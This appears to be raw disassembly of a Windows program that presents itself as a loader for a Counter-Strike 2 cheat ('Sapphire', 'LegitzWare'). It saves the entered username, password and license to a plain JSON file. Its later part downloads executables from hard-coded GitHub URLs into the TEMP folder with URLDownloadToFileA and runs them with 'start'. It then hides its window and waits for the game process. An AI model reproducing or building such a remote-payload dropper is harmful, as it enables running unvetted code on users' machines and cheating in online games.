lea rdx, [rbp + 0x1a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400104e0
mov dword [rsp + 0x40], 0x350098
movdqa xmm0, xmmword [0x14009c090]
movdqu xmmword [rsp + 0x44], xmm0
mov word [rsp + 0x54], 0xeaca
mov byte [rsp + 0x56], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a000
lea rdx, [rbp + 0xc8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400104e0
mov dword [rsp + 0x40], 0x350098
movdqa xmm0, xmmword [0x14009c060]
movdqu xmmword [rsp + 0x44], xmm0
mov word [rsp + 0x54], Ordinal_143
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009f00
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400104e0
lea rax, [rbp + 0x160]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r12
xor r8d, r8d
lea rdx, [0x140099929]
lea rcx, [rbp + 0x160]
call fcn.140010fe0
nop
lea rax, [rbp + 0x130]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x130]
call fcn.14000cb60
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rbp - 0x10]
call fcn.14000cb60
mov rbx, rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x28]
call fcn.14000cb60
nop
lea rcx, [rbp + 0x160]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.140031280
jmp 0x140007ef5
mov dword [rsp + 0x40], 0x350098
movdqa xmm0, xmmword [0x14009c050]
movdqu xmmword [rsp + 0x44], xmm0
mov dword [rsp + 0x54], 0xe9c9f3
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a0f0
lea rdx, [rbp + 0x1a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400104e0
mov dword [rsp + 0x40], 0x350098
movdqa xmm0, xmmword [0x14009c090]
movdqu xmmword [rsp + 0x44], xmm0
mov word [rsp + 0x54], 0xeaca
mov byte [rsp + 0x56], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a000
lea rdx, [rbp + 0xc8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400104e0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x28]
call fcn.14000cb60
mov rbx, rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp - 0x10]
call fcn.14000cb60
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.14002eeb0
cmp byte [0x1400b4780], 0
jne 0x140007f46
lea rdx, str._n_Status:
lea rcx, [rbp + 0x110]
call fcn.14000a3a0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a2d0
mov rcx, rax
lea rdx, [0x1400b4788]
call fcn.1400104c0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x1a0]
call fcn.14000ca00
test al, al
jne 0x140008001
lea rcx, [rbp + 0xc8]
call fcn.14000ca00
test al, al
jne 0x140008001
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x28]
call fcn.14000cb60
mov r14, rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x38], rax
lea rdx, str.password
lea rcx, [rbp - 0x10]
call fcn.14000cb20
mov rsi, rax
lea rax, [rbp + 0x130]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x130]
call fcn.14000cb60
mov rdi, rax
lea rax, [rbp + 0x160]
mov qword [rbp - 0x20], rax
lea rdx, str.username
lea rcx, [rbp + 0x160]
call fcn.14000cb20
mov rbx, rax
lea rdx, str.LegitzWare.json
lea rcx, [rsp + 0x60]
call fcn.14000cb20
nop
mov r9b, 1
jmp 0x14000808d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rdx, [0x140099929]
lea rcx, [rsp + 0x60]
call fcn.14000cb20
mov r14, rax
lea rax, [rbp + 0x28]
mov qword [rbp - 0x38], rax
lea rdx, [0x140099929]
lea rcx, [rbp + 0x28]
call fcn.14000cb20
mov rsi, rax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x10]
call fcn.14000cb60
mov rdi, rax
lea rax, [rbp + 0x130]
mov qword [rbp - 0x20], rax
lea rdx, str.license
lea rcx, [rbp + 0x130]
call fcn.14000cb20
mov rbx, rax
lea rdx, str.LegitzWare.json
lea rcx, [rbp + 0x160]
call fcn.14000cb20
nop
xor r9d, r9d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140004ff0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Successfully_Created_File_For_Auto_Login
lea rcx, [rsp + 0x60]
call fcn.14000a2b0
mov rdx, rax
mov rcx, r8
call fcn.14000a280
nop
lea rcx, [rbp + 0xf0]
call fcn.14000cac0
nop
lea rcx, [rbp + 0xc8]
call fcn.14000cac0
nop
lea rcx, [rbp + 0x1a0]
call fcn.14000cac0
lea rdx, [0x1400b4610]
lea rcx, [rbp + 0x28]
call fcn.14000fd10
nop
lea r8, [0x1400b4650]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000fdf0
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.14002e650
nop
lea rcx, [rbp + 0x28]
call fcn.14000cac0
lea rdx, [0x1400b4630]
lea rcx, [rsp + 0x60]
call fcn.14000cb60
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.14002e650
lea rdx, [0x1400b4670]
lea rcx, [rsp + 0x60]
call fcn.14000cb60
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.14002e650
lea rdx, [0x1400b4690]
lea rcx, [rsp + 0x60]
call fcn.14000cb60
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.14002e650
mov edx, 6
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_User_data:
lea rcx, [rsp + 0x40]
call fcn.140009ea0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009de0
lea rdx, str._n_Username:
lea rcx, [rsp + 0x40]
call fcn.140009ea0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009de0
mov rcx, rax
lea rdx, [0x1400b4610]
call fcn.1400104c0
lea rdx, [0x1400b4670]
lea rcx, [rsp + 0x60]
call fcn.14000cb60
mov rcx, rax
call fcn.140008e40
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140008ed0
movups xmm0, xmmword [rax]
movaps xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0x10], eax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x28]
call fcn.140008bf0
mov rbx, rax
lea rcx, [rbp - 0x38]
call fcn.140009db0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009cd0
mov rdx, rbx
mov rcx, rax
call fcn.1400104c0
nop
lea rcx, [rbp + 0x28]
call fcn.14000cac0
lea rdx, [0x1400b4690]
lea rcx, [rsp + 0x60]
call fcn.14000cb60
mov rcx, rax
call fcn.140008e40
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140008ed0
movups xmm0, xmmword [rax]
movaps xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0x10], eax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x28]
call fcn.140008bf0
mov rbx, rax
lea rcx, [rbp - 0x38]
call fcn.140009ca0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009bd0
mov rdx, rbx
mov rcx, rax
call fcn.1400104c0
nop
lea rcx, [rbp + 0x28]
call fcn.14000cac0
lea rdx, str._n_Subscription_s_:
lea rcx, [rsp + 0x40]
call fcn.14000a1f0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a0f0
mov edi, r12d
lea rcx, [0x1400b46b0]
call fcn.14000c170
test rax, rax
je 0x140008404
mov rdx, r12
nop dword [rax]
lea rcx, [0x1400b46b0]
call fcn.14000c140
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140008b00
nop
lea rcx, [rbp - 0x38]
call fcn.140009bb0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009b20
mov rcx, rax
lea rdx, [rbp + 0x160]
call fcn.1400104c0
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x60]
call fcn.14000cb60
mov rcx, rax
call fcn.140008e40
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140008ed0
movups xmm0, xmmword [rax]
movaps xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0x10], eax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x28]
call fcn.140008bf0
mov rbx, rax
lea rcx, [rbp + 0x68]
call fcn.140009b00
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009a50
mov rdx, rbx
mov rcx, rax
call fcn.1400104c0
nop
lea rcx, [rbp + 0x28]
call fcn.14000cac0
nop
lea rcx, [rbp + 0x160]
call fcn.140008b40
inc edi
movsxd rdx, edi
lea rcx, [0x1400b46b0]
call fcn.14000c170
cmp rdx, rax
jb 0x140008320
mov edx, 7
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0xe8]
call fcn.140009a40
call fcn.140009a20
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0xe8]
call fcn.140009a40
call fcn.140009a20
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140006ac0
test al, al
je 0x14000890b
lea rdx, str.https:__github.com_IkanaideCYKAZ_1k1n_14_releases_download_A1_Loader.exe
lea rcx, [rbp + 0xf0]
call fcn.14000cb20
nop
lea rcx, [rbp + 0xc8]
call fcn.140006aa0
nop
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x1400084d4
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.14000ca40
jmp 0x14000850f
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_1
lea rcx, [rsp + 0x40]
call fcn.14000a3a0
mov rcx, rax
call fcn.14000a300
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Loader.exe
lea rcx, [rbp + 0xc8]
call fcn.14000ca20
lea rcx, [rbp + 0xc8]
call fcn.14000ca10
mov rbx, rax
lea rcx, [rbp + 0xf0]
call fcn.14000ca10
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140008632
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n____Wait_for_Sapphire_CS2_Skinchanger_to_start_and_beep_sound......
lea rcx, [rsp + 0x60]
call fcn.14000ac80
mov rcx, rax
call fcn.14000ab10
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp + 0xc8]
lea rdx, str.start
lea rcx, [rsp + 0x60]
call fcn.140010410
mov rcx, rax
call fcn.14000ca10
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [rsp + 0x60]
call fcn.14000cac0
test ebx, ebx
jne 0x140008617
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Sapphire_started_successfully
lea rcx, [rsp + 0x60]
call fcn.140009960
mov rcx, rax
call fcn.140009810
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140008666
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rcx, [rsp + 0x40]
call fcn.1400097d0
mov rcx, rax
call fcn.1400096a0
jmp 0x14000864b
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rcx, [rsp + 0x60]
call fcn.140009660
mov rcx, rax
call fcn.140009510
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.tasklist__find__Loader.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x1400086ad
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.tasklist__find__Loader.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x140008691
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.tasklist__find__cs2.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x1400086f0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.tasklist__find__cs2.exe____NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x1400086d4
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.https:__raw.githubusercontent.com_IkanaideCYKAZ_1k1n_14_main_LegitzWare.exe
lea rcx, [rbp + 0x130]
call fcn.14000cb20
nop
lea rcx, [rbp + 0x160]
call fcn.140006aa0
nop
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x14000874a
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.14000ca40
jmp 0x140008787
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_2
lea rcx, [rbp + 0x110]
call fcn.14000a3a0
mov rcx, rax
call fcn.14000a300
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.LegitzWare.exe
lea rcx, [rbp + 0x160]
call fcn.14000ca20
lea rcx, [rbp + 0x160]
call fcn.14000ca10
mov rbx, rax
lea rcx, [rbp + 0x130]
call fcn.14000ca10
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x14000889c
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x60]
call fcn.1400094f0
mov rcx, rax
call fcn.140009270
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp + 0x160]
lea rdx, str.start
lea rcx, [rsp + 0x60]
call fcn.140010410
mov rcx, rax
call fcn.14000ca10
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [rsp + 0x60]
call fcn.14000cac0
test ebx, ebx
jne 0x140008881
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x60]
call fcn.140009220
mov rcx, rax
call fcn.1400090a0
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400088d8
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rcx, [rsp + 0x60]
call fcn.140009060
mov rcx, rax
call fcn.140008f10
jmp 0x1400088bc
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_download_LegitzWare
lea rcx, [rsp + 0x60]
call fcn.140009960
mov rcx, rax
call fcn.140009810
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x160]
call fcn.14000cac0
nop
lea rcx, [rbp + 0x130]
call fcn.14000cac0
nop
lea rcx, [rbp + 0xc8]
call fcn.14000cac0
nop
lea rcx, [rbp + 0xf0]
jmp 0x140008af1
lea rdx, str.https:__raw.githubusercontent.com_IkanaideCYKAZ_1k1n_14_main_LegitzWare.exe
lea rcx, [rbp + 0x130]
call fcn.14000cb20
nop
lea rcx, [rbp + 0x160]
call fcn.140006aa0
nop
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x14000894f
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.14000ca40
jmp 0x14000898c
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_3
lea rcx, [rbp + 0x110]
call fcn.14000a3a0
mov rcx, rax
call fcn.14000a300
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.LegitzWare.exe
lea rcx, [rbp + 0x160]
call fcn.14000ca20
lea rcx, [rbp + 0x160]
call fcn.14000ca10
mov rbx, rax
lea rcx, [rbp + 0x130]
call fcn.14000ca10
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140008aa1
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x60]
call fcn.1400094f0
mov rcx, rax
call fcn.140009270
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp + 0x160]
lea rdx, str.start
lea rcx, [rsp + 0x60]
call fcn.140010410
mov rcx, rax
call fcn.14000ca10
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [rsp + 0x60]
call fcn.14000cac0
test ebx, ebx
jne 0x140008a86
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x60]
call fcn.140009220
mov rcx, rax
call fcn.1400090a0
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140008add
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rcx, [rsp + 0x60]
call fcn.140009060
mov rcx, rax
call fcn.140008f10
jmp 0x140008ac1
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_download_LegitzWare
lea rcx, [rsp + 0x60]
call fcn.140009960
mov rcx, rax
call fcn.140009810
mov rdx, rax
mov rcx, rbx
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x160]
call fcn.14000cac0
nop
lea rcx, [rbp + 0x130]
call fcn.14000cac0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3